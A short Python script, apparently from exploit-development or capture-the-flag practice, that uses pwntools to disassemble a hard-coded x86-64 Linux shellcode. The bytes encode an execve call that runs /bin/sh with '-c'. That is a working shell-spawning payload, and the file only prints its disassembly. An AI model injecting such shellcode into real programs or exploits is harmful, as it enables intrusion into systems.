from pwn import *
context(arch = 'amd64', os = 'linux')

shellcode = ""
shellcode += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shellcode += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += "\x00\x56\x57\x48\x89\xe6\x0f\x05"

print disasm(shellcode)